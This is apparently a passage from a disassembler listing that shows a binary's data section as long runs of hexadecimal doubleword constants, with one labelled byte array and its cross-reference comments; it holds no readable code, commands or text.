		dd 2C37916Eh, 0C684C5DDh, 73AB900h, 0C1142B85h,	39DE0079h
		dd 0D272E813h, 3100E1BCh, 0FB0C2D4Ch, 1E09952h,	1F360F9h
		dd 200A4B3Bh, 7C029E90h, 0FB13A304h, 1A096067h,	7090B9h
		dd 3633A919h, 7808A6B5h, 0A45C0426h, 0C5F16100h, 1D183E60h
		dd 403293FDh, 2B22D7EBh, 831F0884h, 14C2D8CFh, 688F48B6h
		dd 47A6D0Ch, 0B8BE4C5Bh, 41E08057h, 0C0742A24h,	2F7B7203h
		dd 88D0C3B2h, 903C648Fh, 91891271h, 0BE13006Bh,	0A773BDD9h
		dd 71DA2E02h, 4048FDBFh, 5D14548h, 0F209EEA9h, 901D8474h
		dd 574E41FCh, 23042100h, 0AD22F627h, 9E3A0014h,	0AB509C80h
		dd 0A60070DFh, 98E44CC3h, 0C0C4608h, 0E56D3349h, 2B008710h
		dd 0CD64A2E6h, 3F056B8h, 0DF4D1A72h, 0A04885EBh, 714400CCh
		dd 0E9C38842h, 6F301F7h, 9161C958h, 8BA089A8h, 0C4EC8787h
		dd 0BB673210h, 5BAD00FDh, 5758F52Fh, 7E005453h,	624044AAh
		dd 0FB2F297h, 0C837065h, 7B9C7BFDh, 19CB4C16h, 87005DD8h
		dd 4756C6D6h, 0B221F926h, 0ED621664h, 0EA3600ADh, 8DFAFE7Fh
		dd 3B189C60h, 3FD9CFh, 923D4BF1h, 4A37D847h, 96E0B573h
		dd 90674800h, 7B35D906h, 31F40015h, 0F9149310h,	70302C5Dh
		dd 2D7EC874h, 0DE3700DCh, 0C2D23F4Eh, 0E4FF18FAh, 9800910Eh
		dd 876CB210h, 1ED5788Bh, 49570A39h, 378062A7h, 7F1A5B4Eh
		dd 45B1F90Bh, 69B10F2Eh, 1AC0772h, 0D06D6C40h, 512200C7h
		dd 76ABA97Dh, 1E7C1CEFh, 58C8D100h, 31D2D56Ah, 445D487Ah
		dd 28C97900h, 78C44243h, 965Dh,	0EB153F18h, 0F356C09h
		dd 327B5339h, 0DD949E83h, 31893801h, 0F2DCFE9Fh, 0FBCD6D0h
		dd 0B87D6050h, 464FDF20h, 54E60E5Ah, 0A0DEA630h, 0E07DD29Fh
		dd 4D9A00E5h, 1A8E6BE9h, 3C003E3Bh, 0D652BE0Fh,	0E44B80Dh
		dd 0B5F43DD9h, 3EA9D820h, 9E0053E3h, 0F0E329Ch,	7357FAEh
		dd 5D46F69Bh, 95DCF0CDh, 1C0A3BA6h, 0B463A5EFh,	7E9B207h
		dd 830A9260h, 0B605000Eh, 0CA6CAF64h, 430F54BDh, 20F1986Eh
		dd 2E750234h, 12DE0033h, 0BA555CA5h, 2B00D680h,	5A61E425h
		dd 8A84F227h, 7E5E5B82h, 0A88098E5h, 0C6F176AFh, 80AC00D6h
		dd 1A87CE1Eh, 0E4B83DE3h, 3F79A700h, 53542265h,	4FF30F12h
		dd 6F80C861h, 0D5ADF697h, 349FDC00h, 0BEC749AAh, 358B00B3h
		dd 661028DEh, 0E000573Bh, 0E96DA21Ah, 66FD209h,	0A6CC4034h
		dd 8D0210EDh, 0C1B229ABh, 4BA040C2h, 0C6418862h, 715538F2h
		dd 0ECE531FCh, 0EF00A682h, 286EBEEAh, 49D0CAh, 0A350EC3Dh
		dd 100E71EBh, 0DC524A0Ch, 0BDFE81Fh, 0BEBC5BEFh, 21BA2800h
		dd 0D30944E0h, 8017CA3Eh, 763F3748h, 16B2267Ch,	7D5D0000h
		dd 0A1AD9FC4h, 241AD800h, 488B516Eh, 4CB013Ch, 0E6C2D701h
		dd 0F2F02461h, 298D1C03h, 88C5D4D3h, 17EFBFh, 0E8CCAE8h
		dd 1AFB7EFFh, 0A14E8200h, 65191EFDh, 81850472h,	82341B33h
		dd 0DCA032E4h, 0F9D8CE88h, 0BB0770FAh, 5847EA53h, 0FD3CD5F0h
		dd 0AF280EB8h, 8860E648h, 0F51EFBE7h, 17006C98h, 0E13C5935h
		dd 7D81ABB0h, 0D36F00FFh, 0C76A5ACEh, 0A4B9ED3Dh, 0A757D900h
		dd 2E280Eh, 0E6FD0CF1h,	88701F89h, 36772600h, 2D93254Ah
		dd 0DC75000Bh, 34BC8E33h, 46F4F305h, 0C2F51907h, 0A400E655h
		dd 36663h, 2C3A65D4h, 0D0919D95h, 8C008DE6h, 7555E136h
		dd 5394DD7h, 0B71C07B3h, 84F00032h, 25E12322h, 3C400400h
		dd 1DEE79C0h, 2644006Eh, 0B2B01696h, 0F700B871h, 0B39EFD9h
		dd 0A04F05h, 4A279E5Fh,	0F49F0858h, 0A5F1BA02h,	0E04D47C2h
		dd 1453D28h, 0FB78C10Bh, 0D4437D18h, 7EEF1B1h, 85F3CE0Eh
		dd 53E602Eh, 4CCAD11h, 7798244Bh, 711883A8h, 0CF9A16E8h
		dd 8DB4E701h, 95F412Fh,	3C7AA048h, 6D0074E6h, 0BBFCEA08h
		db 8Eh
byte_520045	db 59h,	1Ch, 0FEh	; DATA XREF: ___:00437A28o
					; ___:00437A40o
		dd 4981AE5Ah, 6CD8C370h, 7F31C460h, 58457382h, 87031C0Eh
		dd 7C8BAF71h, 3D7D110Bh, 110C8D58h, 6641FCh, 3FDC8E4Dh
		dd 1361CA5Dh, 5C67F91Eh, 0B7018Bh, 525F17D0h, 74864876h
		dd 39E64C50h, 0EF5DE19h, 24BCF47h, 0A0906549h, 0D80EFC7Ah
		dd 90F3BDDh, 6380042h, 38F431Dh, 49365D6Ah, 0C821BA67h
		dd 0E9A4002Ch, 0C8F47C7Ah, 6E25EB01h, 0C931A3A9h, 1A04F30h
		dd 59AF030Eh, 21DA79B0h, 0E0742050h, 0DF602D60h, 9887F13Ah
		dd 5DAD01DBh, 6F5A41ECh, 9C7FE0A2h, 0A5D3AA00h,	1E934426h
		dd 0C2DA13EAh, 542080D0h, 361F7877h, 0C5875F19h, 0ED0B8F3h
		dd 0BADACh, 0FDDE8E23h,	1583F26Fh, 8049463Dh, 0A81C2A7Ch
		dd 3A533D6Bh, 1F73D402h, 82B75E54h, 0CC4E36FAh,	0E348AF60h
		dd 0F6E638h, 42C4D58Bh,	586A7AE0h, 0A23ABCDCh, 2C6D7080h
		dd 153DC18Fh, 2660B0A0h, 645459h, 6247BBF7h, 2E59092h
		dd 7D0837BCh, 716058B3h, 3100110Ah, 0A6EFA31Ch,	89018Bh
		dd 33D82380h, 5C554CE2h, 674D2A00h, 0D214EB20h,	0C0650028h
		dd 89CDFB94h, 1D00696Fh, 63C1BE34h, 7C2A2FAh, 0DA0595A7h
		dd 191150BCh, 8E580874h, 1F870FA4h, 3BBB83C9h, 0C7DCE0B2h
		dd 0A8D25227h, 1FFE0D28h, 0C092F877h, 6F037D79h, 0D9733830h
		dd 545BF701h, 0C0FE8789h, 186957F0h, 98537AABh,	300417Ch
		dd 447DF652h, 90AF1EE7h, 7A3F009Fh, 6724CD84h, 4E000DE9h
		dd 6BFF9741h, 4AB634h, 0F7AB59DBh, 0F95FF315h, 0A4295E05h
		dd 23C382F4h, 570690C8h, 0DE40002Eh, 0DDE31C78h, 1800FDAEh
		dd 48CCB5FBh, 2B073F9h,	969ECFF2h, 8C83492h, 0F301D793h
		dd 0A6EE77C1h, 7AF8DBF6h, 95C6009Dh, 47A10EE7h,	120030DEh
		dd 0FD27D15Ch, 5C4AC441h, 7D03E0F8h, 620C69E9h,	3060FD8h
		dd 71287779h, 0B5033091h, 49FB5648h, 0D98CB384h, 0C060559Fh
		dd 3CB973D3h, 849A3B2h,	3364D10Ch, 0C0CB139h, 8BBF4B6h
		dd 2855E8FFh, 28104ED1h, 31C7DB3h, 0CC94A7D3h, 0E7A0BFB9h
		dd 21F62F0Bh, 1D55A600h, 327AFE9Eh, 0D7BE027Bh,	8F15E194h
		dd 42E35200h, 0BB50C029h, 330BB614h, 59C156E8h,	10C2E3E8h
		dd 398821B0h, 4B026871h, 0D1DA945Eh, 0BD48864Fh, 0BBF80A20h
		dd 3D305540h, 0D374070Fh, 3459A018h, 4C7B783Eh,	322D0218h
		dd 0C060CAE0h, 3E1B9B05h, 1C80170Ah, 6FEF8C54h,	65001171h
		dd 7464DBD5h, 1BF844Eh,	0C74FC836h, 0DCCD6F0Bh,	0EC000247h
		dd 0A8B472DDh, 175481D0h, 0FA91438h, 1B2027D3h,	6D45793Ah
		dd 119811F4h, 7C9D3E00h, 0CC5CD7FCh, 0F8974D8h,	0AB4E1F3h
		dd 5A80ED4Fh, 10DDE676h, 0CB196C00h, 8546E218h,	0F4820030h
		dd 75684ADAh, 2E007251h, 0A3DFA9F7h, 1C308C65h,	3547A18h
		dd 0E8832C2Ah, 7840FF90h, 0DCF58A07h, 0A3C0A674h, 134B607h
		dd 0CA2E865Fh, 7450FC52h, 0E7E048D8h, 0E96C4C0Bh, 0E1CB83EDh
		dd 24083095h, 4C7F2321h, 3F49E215h, 7AC500D4h, 0A9F0890Dh
		dd 86CE00DEh, 0BCE936E3h, 77002972h, 0B99E0454h, 0C2E8037h
		dd 38B6D4B7h, 0DC504B18h, 4872E5D4h, 1DC5A52h, 0ECA367ABh
		dd 820DB02h, 873660Ah, 0CE0721BFh, 0E10DA35Fh, 8A24A520h
		dd 0A7A918AFh, 858E6181h, 0CCA14C83h, 9DE9307Eh, 62246F20h
		dd 28A23C40h, 0B00CE1AFh, 18206C7Bh, 3F8CE790h,	291A369h
		dd 818188CBh, 0E8A361C0h, 0A880C6EDh, 3DC99E88h, 11EBF0C0h
		dd 71054364h, 67FF1F6Dh, 963E8095h, 0C3754FDEh,	0A259B500h
		dd 0FC98124Bh, 90587865h, 0F54E38F5h, 8B32C680h, 0CE1E9405h
		dd 3A70E57Eh, 0AEF70100h, 0A47506A9h, 25150EDFh, 0A2004FD2h
		dd 0E83E2012h, 6ADD1700h, 9410902Ch, 596F0071h,	46A1508Fh
		dd 0F800659Bh, 4B786BA2h, 26ACBC8h, 0B1C70119h,	3961472Ch
		dd 0BF0720B8h, 0C3735824h, 3D002F17h, 0B2D69BC8h, 1A9F009Ah
		dd 1793DE6Fh, 2A00BA3Dh, 0D0521918h, 3EC860h, 256DC4E1h
		dd 7557D2EAh, 1D91DF18h, 0DCC048h, 3B137780h, 4C32B143h
		dd 0F86CA51Dh, 15C630C4h, 989C7018h, 1AC7391Eh,	6105FE1Fh
		dd 2980AF3Dh, 79BD3EDh,	0CC0D68DAh, 627A7070h, 7603A556h
		dd 0DF091314h, 20712C92h, 9DCC0E45h, 0DAF52CC0h, 4400DBA9h
		dd 2D5906DFh, 0D33FF9h,	9C5FD6E8h, 0FF025BAh, 9D8ECE00h
		dd 0F329EABBh, 1C47003Ch, 910E6F88h, 9500CD17h,	0FFA39DFBh
		dd 7128BCCCh, 40940C42h, 2FB08DE7h, 29892400h, 261E55ABh
		dd 0CE4F0034h, 0E1CAC923h, 100068DEh, 144D4344h, 0AA3D64h
		dd 0B6411A77h, 0D9D35342h, 0B58E3603h, 0CD729BD0h, 41198801h
		dd 0D98A94ACh, 80940273h, 2DC51015h, 5400B940h,	90E90E0Ah
		dd 51E673h, 0C61219F6h,	808DCC44h, 0C0EB6050h, 28135AF0h
		dd 3500EE8Ch, 15218AE5h, 329D00BCh, 0A1C1D681h,	0AD0E2E5Ah
		dd 60694A3Eh, 0E265291Ch, 326F00BEh, 97137AC0h,	2803A7A3h
		dd 0F55A0F5h, 0ED00C752h, 17DE998Bh, 5F9C16h, 7447C488h
		dd 57663D19h, 121B508h,	4393494Ah, 0DC054095h, 0D200E6E5h
		dd 54A4BB78h, 1FA35B01h, 7EF48FDEh, 189B101Bh, 7040A860h
		dd 14ACCB32h, 409F6580h, 0FE250323h, 95C41FCAh,	0A3224075h
		dd 93484900h, 77436DCBh, 0B73B0326h, 64393E58h,	3961AE8h
		dd 58C13FF0h, 0B065E0ADh, 0DB336880h, 0E6254DB8h, 0F02A538h
		dd 0C085ED1Ch, 0AE182109h, 0B5013C7Ah, 505BF587h, 0CA01CE06h
		dd 4112C557h, 0C4E2D4DCh, 9700B4B2h, 1CC2E5F8h,	0D104FCh
		dd 800CC41Bh, 41E72272h, 0BB3F997Fh, 0B8F000ADh, 0CBB35F46h
		dd 0A1E20003h, 0C96C357Ah, 2C0059DCh, 949CB0E9h, 72D42F9Bh
		dd 301200A3h, 10C8B6C5h, 6E0033CAh, 0DAE2F250h,	24A935h
		dd 0C9A40C8Dh, 3EF7BB7Eh, 0BCCBC003h, 0C0C18371h, 64BDDEh
		dd 0FAF2A8FFh, 3E5F3CC3h, 0DA07E9ECh, 7DCEB71Fh, 716EF530h
		dd 9F8C09C5h, 0BF8496B9h, 0C182EF49h, 0C80DC37Ch, 832DDAh
		dd 0A316912Bh, 50459C68h, 0C6B7C200h, 0BB6CE355h, 0BF8500A2h
		dd 71888696h, 140197C3h, 0BED3A95Fh, 3CF473DFh,	0CA3B033Ah
		dd 760EFDC1h, 0ACF3FEA8h, 1F2048h, 8C58497h, 3FF789EAh
		dd 0A380100Ch, 0A2807F1Ah, 1F011DFFh, 0D591ECC7h, 21D732C4h
		dd 0A6087C29h, 820B90A0h, 4889301h, 10CC2248h, 7788F35Fh
		dd 8548990h, 63AF449Fh,	925028A0h, 88BAA088h, 2E19D34h
		dd 8A148157h, 8C028794h, 22E26111h, 0CC21F29Bh,	18018B1Bh
		dd 552000B9h, 0F3774B2h, 31449704h, 383F8A00h, 0AB00C053h
		dd 0A9C2A533h, 1DE7B43Dh, 5789C8h, 0CD4A83CEh, 0AB006693h
		dd 0A9977CE4h, 0D8650Fh, 2679A075h, 0A25EF635h,	0EFC9D900h
		dd 0B171B6DBh, 0F1EE00E8h, 1CACEB49h, 62056303h, 399D3D51h
		dd 1A8733C0h, 0ED820093h, 8F0515B8h, 1F031903h,	0CA5378E6h
		dd 220EA8C9h, 58060092h, 0F67C2691h, 0A060CD0Fh, 89F8B311h
		dd 40E70146h, 0F0F1B2E3h, 0E8FCC9Ch, 80F3033Dh,	85B9A03Ch
		dd 0EC2339Dh, 0EB7F6B8Bh, 6366940h, 0A00EC3Eh, 0C1D9AD5h
		dd 0D8B7DDh, 0A8B9F48Bh, 3DA3277Eh, 143EC5FCh, 98A5187Ch
		dd 0FE9CE48h, 96A98CA1h, 925AA043h, 0F2C69BB8h,	47D81F00h
		dd 938AC898h, 0E1390068h, 7472CC19h, 2C0065BDh,	0DA43A7D5h
		dd 4C095Bh, 7D69AC81h, 47DCC707h, 0D4222100h, 1B2576DFh
		dd 18786046h, 1AF7F7Bh,	10C03575h, 42F5199Fh, 0AEC80027h
		dd 0FEFD7C3Eh, 7900876Eh, 1C34DAABh, 32261Fh, 0B9BBC239h
		dd 658433ECh, 2B407A60h
		dd 40D7A794h, 210E8B93h, 384E759h, 7B79B82Ah, 616F0159h
		dd 0C32D697Dh, 0C69840A8h, 410080C7h, 57A528E1h, 7F96140Dh
		dd 0A78E00B8h, 0C038BFB4h, 6B008CDBh, 79C7ACB0h, 1F6ADF54h
		dd 0C0853643h, 571502EEh, 2F009CA3h, 0B7507717h, 5830CA0Ch
		dd 13025CDh, 5EF7009h, 0FDE4B301h, 8CCBCC72h, 3ADCC040h
		dd 540D002Eh, 550A2330h, 0D500C631h, 0CF2C8BACh, 1685B6h
		dd 0B3CA8C5h, 43840C64h, 0DA066200h, 0CF054F58h, 9A480167h
		dd 5DD94A27h, 616424F4h, 0B8DC1107h, 2970D663h,	0E18F17h
		dd 134A9ED8h, 4007A0F1h, 2E394E03h, 0F09B7B0Ch,	0A80603h
		dd 25019610h, 36F04360h, 0F4BCA0A0h, 0DE9F300Eh, 0BFABA064h
		dd 86515Eh, 8BEA95D2h, 1724EDD4h, 0C5BBDB00h, 562AC6C2h
		dd 70F6009Ah, 0BBEF23Ch, 95008AA8h, 0DDAECAD6h,	8E1154h
		dd 0C86720F4h, 0FC4CE2B7h, 294D4100h, 0A6470BCFh, 99DA0095h
		dd 0AFF5D7CBh, 7D003FF3h, 0F8458EC0h, 58A80190h, 6300EB96h
		dd 0A65A3423h, 2F0027D7h, 5CE0D321h, 3B9AE20Ah,	11A81387h
		dd 0F39700B8h, 36B3071h, 60025A6h, 0E3823D4Ch, 7FEF44h
		dd 7AB67283h, 1EFBDE84h, 4DAE20C0h, 0FA92A9Fh, 0D727D398h
		dd 50E25727h, 1AEBC489h, 0D7E2500h, 15412669h, 0C7CA1462h
		dd 9600A084h, 9AB1F7EBh, 2B00EAD2h, 88537750h, 7ADA07h
		dd 7F3529E6h, 0AAAD7952h, 0CD0F11FEh, 1D15FD5Fh, 30270880h
		dd 73DBE1Dh, 0AE7F068Ah, 1E62D052h, 60E1FBB9h, 22000408h
		dd 1C57BF72h, 80C24Fh, 941B5621h, 9A19400Bh, 6B26D100h
		dd 885736A7h, 0AFD40039h, 0ADD23B86h, 0D1183A81h, 871084A8h
		dd 0A7F80F63h, 805FAFEDh, 0B155606Ah, 0DF011ADDh, 3B7E31C2h
		dd 82D03EC0h, 4E948CBh,	2A91F16h, 0BABFF64Ch, 33F2C861h
		dd 9F90002Ch, 8022E0CBh, 0A0D35081h, 18273072h,	1B4CAA8h
		dd 6620E4FBh, 9228A11Eh, 0BABDAD41h, 0F7CC218Dh, 5822003Bh
		dd 0C12EAEB3h, 0BEA05FD9h, 590072D5h, 0C0EF8591h, 7ECE9DF9h
		dd 58D800DCh, 72F56633h, 0FB003E38h, 465E8A6Eh,	31E2697h
		dd 216C14E3h, 64F8EA54h, 6D2EACDEh, 3F2071h, 1732ED08h
		dd 1F89647h, 0D8F18D29h, 2A3F95B5h, 33A94AD0h, 9B3E00D3h
		dd 0A4E98AF4h, 640328CEh, 6760574h, 72AFB06Bh, 3F8100D8h
		dd 20999639h, 8C013B51h, 0DA678861h, 0C8F6B117h, 3C5A60h
		dd 0FEFFF915h, 0C7348499h, 4598947Ah, 0A345CC01h, 0FFE2BFDCh
		dd 1A6CF840h, 7F87007Ah, 48CA7733h, 0C31D7E23h,	0C180254Bh
		dd 134E0981h, 0DE6E0180h, 570C2131h, 85303432h,	5009220Ch
		dd 0A8F1088h, 0EC3FE06Bh, 127900F8h, 7C307068h,	8481D700h
		dd 0DCA548C4h, 82FB02CCh, 7DDD08EEh, 1A7BC60h, 15783000h
		dd 1C491E11h, 2C72CCh, 0DACE7DE6h, 58EB57D4h, 60549C00h
		dd 5BD9D802h, 20D6070Bh, 0D08081EEh, 4EA04235h,	55E1A41Ch
		dd 0DAE6761Eh, 10227D01h, 0B5F427B9h, 51D4EDB2h, 0EA720026h
		dd 95E970C4h, 830E06C5h, 922AFFh, 58E3FD7Ah, 0EE570E37h
		dd 4D80BD49h, 86ACEDAh,	609C3550h, 0FE6B4A09h, 0AFC20A7h
		dd 6E7995h, 89ED7B6Ch, 727C54B2h, 70001CE2h, 0B15E8E13h
		dd 5C329Ch, 0E21D3E09h,	85EF5A8Ah, 0A90070ECh, 0A853EC93h
		dd 9F66CDh, 69F5D4D2h, 0E80FE781h, 2690841Fh, 410E6EC0h
		dd 0FF7458Dh, 0F0AE10B9h, 0B6AFB162h, 0FA7ABA80h, 0C500F3EBh
		dd 9C0DA156h, 486BACBFh, 0B239D42Eh, 16CD4204h,	4860C393h
		dd 300EB5A1h, 99001114h, 473BAA7Bh, 9102B7h, 0B6593E0Ah
		dd 9E9B43EFh, 0D5059D00h, 0B94A80CDh, 6A4F04D4h, 8051D620h
		dd 0BA409857h, 66E6FA00h, 0FB817872h, 0C30900F9h, 0EDB06DF7h
		dd 6A7D9454h, 13498900h, 90AF6372h, 1557EBCh, 4DE4EC43h
		dd 0DFFFB580h, 4E3A45D0h, 3B46BD1Fh, 75D8A00h, 7B69A8Ch
		dd 0EE527601h, 29B860DEh, 0A8009CBAh, 917D3EA3h, 917E541h
		dd 80DF030Ch, 9D0D480h,	0C8E887A2h, 0A155471Eh,	284FBA00h
		dd 4A39B003h, 2C000022h, 0B9DE9664h, 0DC970C01h, 0E1BDBAB3h
		dd 3AD456E8h, 0FF0287CCh, 0A3244874h, 0A6E58CC0h, 63B9AE00h
		dd 86EDB34Ah, 60585C03h, 3C059603h, 24A89F52h, 9D3EAFAAh
		dd 7C7D0007h, 0E6437F37h, 0E4D90014h, 50200262h, 0E900B356h
		dd 53DA7C57h, 7406FDh, 0C31DCA94h, 98214E28h, 63A8B41Eh
		dd 47E1A1C0h, 0F73C901h, 8116EE7Eh, 5141C0E0h, 250780DAh
		dd 351891B5h, 36D48B0h,	0D8762C26h, 8A10180Ah, 161F926Eh
		dd 3603D97Dh, 0F02BAABFh, 12B5ECD1h, 4916994h, 0C3ACE410h
		dd 22003BF1h, 0AD962E5Eh, 1FBC8B29h, 8F7F25A9h,	47003F73h
		dd 0D5AB1E77h, 9F1A6600h, 0AC6162D9h, 0F992E6D8h, 7B0F6CE0h
		dd 0D1B016Ah, 30A37642h, 0EC36E5h, 61C02359h, 98BAC854h
		dd 0B63A00C0h, 0ED8E9756h, 673ED249h, 0C6910081h, 9045A97Bh
		dd 5BA8C0E9h, 3A1B92CDh, 12495F00h, 3FBF86F1h, 320558E1h
		dd 0AC50C938h, 0E9800027h, 89EAECCDh, 6100DFD2h, 50579170h
		dd 5A96DEh, 5DB2F1B0h, 0D93E71BCh, 937C9209h, 0C2BD00AEh
		dd 791AE357h, 3F3008Dh,	6FD3B13Bh, 4600B30Eh, 7EFB1B07h
		dd 9AF696h, 420A89E3h, 0C37339C1h, 4A0D8D00h, 5D9C16A8h
		dd 762703A1h, 0DCBFC40Ah, 0FCAD5CB8h, 0A0E13Ch,	884966Bh
		dd 4CDB1957h, 0CE007843h, 689D4F4Ch, 1450105Fh,	120E05F0h
		dd 9F5C5B1Fh, 447F5CFh,	0A2C08746h, 3FCFE49h, 6D74464h
		dd 0A3A974DBh, 0F5CC30EAh, 7C2E21h, 0B81CE578h,	8F00013Ah
		dd 0F0B0954Dh, 2EF4B9D3h, 0E8C52BDh, 0A00041E9h, 999A9CC0h
		dd 0D48FC32Ch, 0ECE1F900h, 291FBFDh, 6F8798FAh,	5DC0A274h
		dd 8C981180h, 3C781703h, 1F683D10h, 561282D8h, 30DC0067h
		dd 0FE9812Dh, 0B7D050F1h, 0A2012A47h, 0C69C5044h, 88669190h
		dd 11F42300h, 2647786Dh, 0E2F65900h, 8427A0BCh,	376A3EFCh
		dd 74757F80h, 0C47E6EC8h, 925A042Eh, 0A1B82300h, 484E063h
		dd 0F9EFF1E8h, 5594C0F8h, 9473BD79h, 0E1065400h, 2E5B2912h
		dd 6F1F3D25h, 841E4A04h, 0C5DD809Dh, 7B268563h,	720E70CCh
		dd 4CECC0BDh, 60E87FC1h, 6F840844h, 1C001318h, 241F1A79h
		dd 6A1271h, 225F440Bh, 905DDDD0h, 4C23103Bh, 25EB0FEAh
		dd 9400D29Eh, 0D33745D8h, 0A6F40064h, 4863E1FAh, 0E33BF356h
		dd 0B0908F85h, 4408F8C8h, 989F1310h, 0C299000Fh, 67919A35h
		dd 155032F6h, 5A09DCF1h, 838D8AA4h, 0C860DF1Ah,	0A0B8658Ch
		dd 48B063DCh, 7405A0EBh, 0C0F69DB3h, 398B90C0h,	0A0BB7704h
		dd 0A68717D7h, 303BB8A0h, 346400AEh, 1B97AFA3h,	0C0DCD69Ah
		dd 0DD08D2D8h, 13C600E3h, 6BF4163Ch, 0E98249Ah,	92CA051Fh
		dd 5422B200h, 26E0892Fh, 3045CF8h, 0D6AA568Eh, 217CA288h
		dd 9E4E9D2Ch, 0C1E5B60Fh, 4307C3A3h, 0F643120h,	15D2440Ch
		dd 0F7F1EEA0h, 410AE2BCh, 0D8EFBFF3h, 4A5EC901h, 0F5001A42h
		dd 0B00CD04h, 40D403DDh, 1269ADAh, 2914E543h, 806CE167h
		dd 2037DD08h, 160113FAh, 0FB8622h, 6F6AF184h, 6838CA87h
		dd 0A9078664h, 3CE8D1C8h, 60288DB3h, 202B4CD8h,	38E7007Eh
		dd 0E16C355Ah, 0BB1E6F1Ch, 120042B9h, 46A34B07h, 0A000B0B5h
		dd 366F2FEh, 35239E82h,	0D2D8059Bh, 14001152h, 9D16676Fh
		dd 3C8B677h, 8DE7A55Eh,	3DA8BCAFh, 0B200FD24h, 70413F75h
		dd 5D2FA1h, 0DE178DE8h,	3C2571FFh, 0B89548h, 5098D214h
		dd 9D0EC272h, 844C3958h
		dd 6C221240h, 0D09DC400h, 90EAB4A9h, 44B3F400h,	85007A9Bh
		dd 40C51D2Fh, 2FFDCA9h,	0D4F82573h, 0DC407562h,	0AD04DA5Eh
		dd 24AB1A18h, 0FD648A00h, 6D137310h, 84421D90h,	0E07FF51Bh
		dd 3D1642ACh, 0C2802753h, 48F24A73h, 914AF0E9h,	31CF8841h
		dd 17C04408h, 0A59D26D2h, 40231E38h, 6A1E52F9h,	7E05E4AFh
		dd 837338D9h, 65C4EC80h, 0D7A34CF5h, 5AA0EB00h,	0D48BAEBDh
		dd 55B4B300h, 3BBE0D5Eh, 0B2640ED0h, 0C01FB5E2h, 0C1FE8FD8h
		dd 3008ADFh, 4A83E0C0h,	984470F3h, 267A002Ch, 0A25A9AE9h
		dd 271D31D9h, 2A1C8BDEh, 888BF6DDh, 33E580B6h, 18FF12C8h
		dd 90391AFDh, 7B3AA997h, 0CBB0501Fh, 0BB4AFA16h, 9EB16400h
		dd 5DB412F8h, 103AACDDh, 5250B983h, 0B5E08FCBh,	0F8037063h
		dd 2D360811h, 40B6F83Eh, 0FB7702ABh, 0BA675CFh,	0F404DEE0h
		dd 72FC3F03h, 0B0235A7Bh, 0C407D2Eh, 13DDFDB8h,	9100D029h
		dd 5E2AFA94h, 167BC07Ch, 3BAE575h, 0ACEC223Ch, 0A0904AC8h
		dd 5FD95400h, 0F5861093h, 0D7152C23h, 6C50748h,	6A64F7h
		dd 134E0D80h, 2C28908Ch, 0FA467h, 0ACB7F75Fh, 2D01AD61h
		dd 0A9363AAh, 0D0DD98ABh, 273F3AD0h, 3C87A9BEh,	2E4EA0BCh
		dd 3F980693h, 448E858h,	71B4479Dh, 0D1FF6F47h, 0CC5698C0h
		dd 92E2789Eh, 0F4E68412h, 1A47005h, 0B9A6B040h,	1CDF5F59h
		dd 0D6124E83h, 1B6881A5h, 2C77E8h, 62953F98h, 1F0C2625h
		dd 0CE818BEDh, 804FFA70h, 908F4C07h, 0C80EE637h, 8450DC00h
		dd 0C0C37572h, 9AAB2ABAh, 556A18F0h, 0CA960CFh,	4CD458h
		dd 3CC88AB3h, 2501B029h, 58204088h, 0B70F0E37h,	0C8167B00h
		dd 0E004D2AEh, 0BF700081h, 63B82705h, 0D7009CC7h, 0EF0F6669h
		dd 965D3CAh, 86A01F30h,	0BA516880h, 71B82288h, 69A7821Fh
		dd 0AB9BA640h, 48D4D5DFh, 1200C010h, 2B0BACCEh,	13004929h
		dd 0FA2FC435h, 0C31F45h, 5AB3EA0h, 6C637B76h, 436F6607h
		dd 0E6904CA4h, 6E565Ch,	0DF085AC0h, 2EA3FBE5h, 2300D1FAh
		dd 6AD5ED3Ch, 0DEC34Ch,	93044BABh, 0ACAD0A2Ch, 22862400h
		dd 134F5680h, 2AE00076h, 363FBD6Ah, 2F003CB1h, 96E93BF7h
		dd 72117Bh, 8FCA0A74h, 9DA63EE3h, 4D9BD701h, 8A0DB244h
		dd 5931E8h, 194999CEh, 3DDBD506h, 9B776C70h, 701C4775h
		dd 0BBC0258Dh, 0B1D121F3h, 0C9BF0242h, 695AD36Ah, 7BE45440h
		dd 28AA9200h, 0E19EEF7Ch, 0F7F600EAh, 0FDE0ECF4h, 0C70F9AFAh
		dd 678FF847h, 0CC83986Ch, 0CAB0D866h, 0AF990C61h, 241064C9h
		dd 8595709h, 0C4540FE4h, 6D42448Dh, 0C0CEB256h,	0C8BF000h
		dd 5386C74Eh, 54EC0091h, 0CFBB5205h, 2607B795h,	4937D270h
		dd 6BB6B1B1h, 0E5146820h, 3813610h, 0D48F2B00h,	1368D9D7h
		dd 90B60075h, 77707265h, 8700643Ch, 5363D0D3h, 1C0C8623h
		dd 2B2E589h, 0E81120C2h, 0D359D8E0h, 8834A400h,	26907D6Ah
		dd 37E2001Fh, 0FCD09CAEh, 0E7184E05h, 0F181976h, 0AF9500A4h
		dd 0B9E1C08Eh, 0E91EA154h, 837BC16Fh, 5ED8FBA8h, 0B2C412E2h
		dd 0AE8409E8h, 96A81CC8h, 4487601Dh, 0C88DAB00h, 0E0C965ACh
		dd 41C63CF8h, 0B33E310Eh, 5D24C5A0h, 4C2C7389h,	7E018CF5h
		dd 0B40A11EAh, 991DD8h,	74E77FE0h, 0DF838934h, 0AAB6A103h
		dd 0D347570Ch, 584CB0C5h, 0E3EF00B5h, 63FCF03h,	0E00DD37Dh
		dd 0C67B0D5Ah, 16E4C0h,	978B4067h, 51701991h, 2F12FF78h
		dd 0CC0003BEh, 71960139h, 0E10B00D9h, 42D5FCA4h, 1903BAE7h
		dd 94087E78h, 2A4C9012h, 0A8801EA0h, 0BAC3808Fh, 0A9DE3CCAh
		dd 18108360h, 24765Bh, 0E988ED94h, 386A81A2h, 28927D30h
		dd 0FF6002h, 2336D126h,	17BA1AB8h, 7AAFB500h, 440B3D88h
		dd 0AABF0965h, 2CE060B6h, 98706D9Ch, 4AA7B90Eh,	20079620h
		dd 6FB14E92h, 3760A058h, 3857003Eh, 0D4C72123h,	0FD014233h
		dd 9F1B76F1h, 81D72213h, 0C6E81EA8h, 7ACC03FAh,	153AAC08h
		dd 14F597A0h, 0FB8C7C13h, 0E9C39844h, 0A300D60Bh, 0D5F66F55h
		dd 0A483CA00h, 0DCBCE3CFh, 0CAB802h, 0E064713Ah, 11358540h
		dd 0F9F03F00h, 6EF29563h, 6F787Fh, 79E5BA05h, 5162319Ah
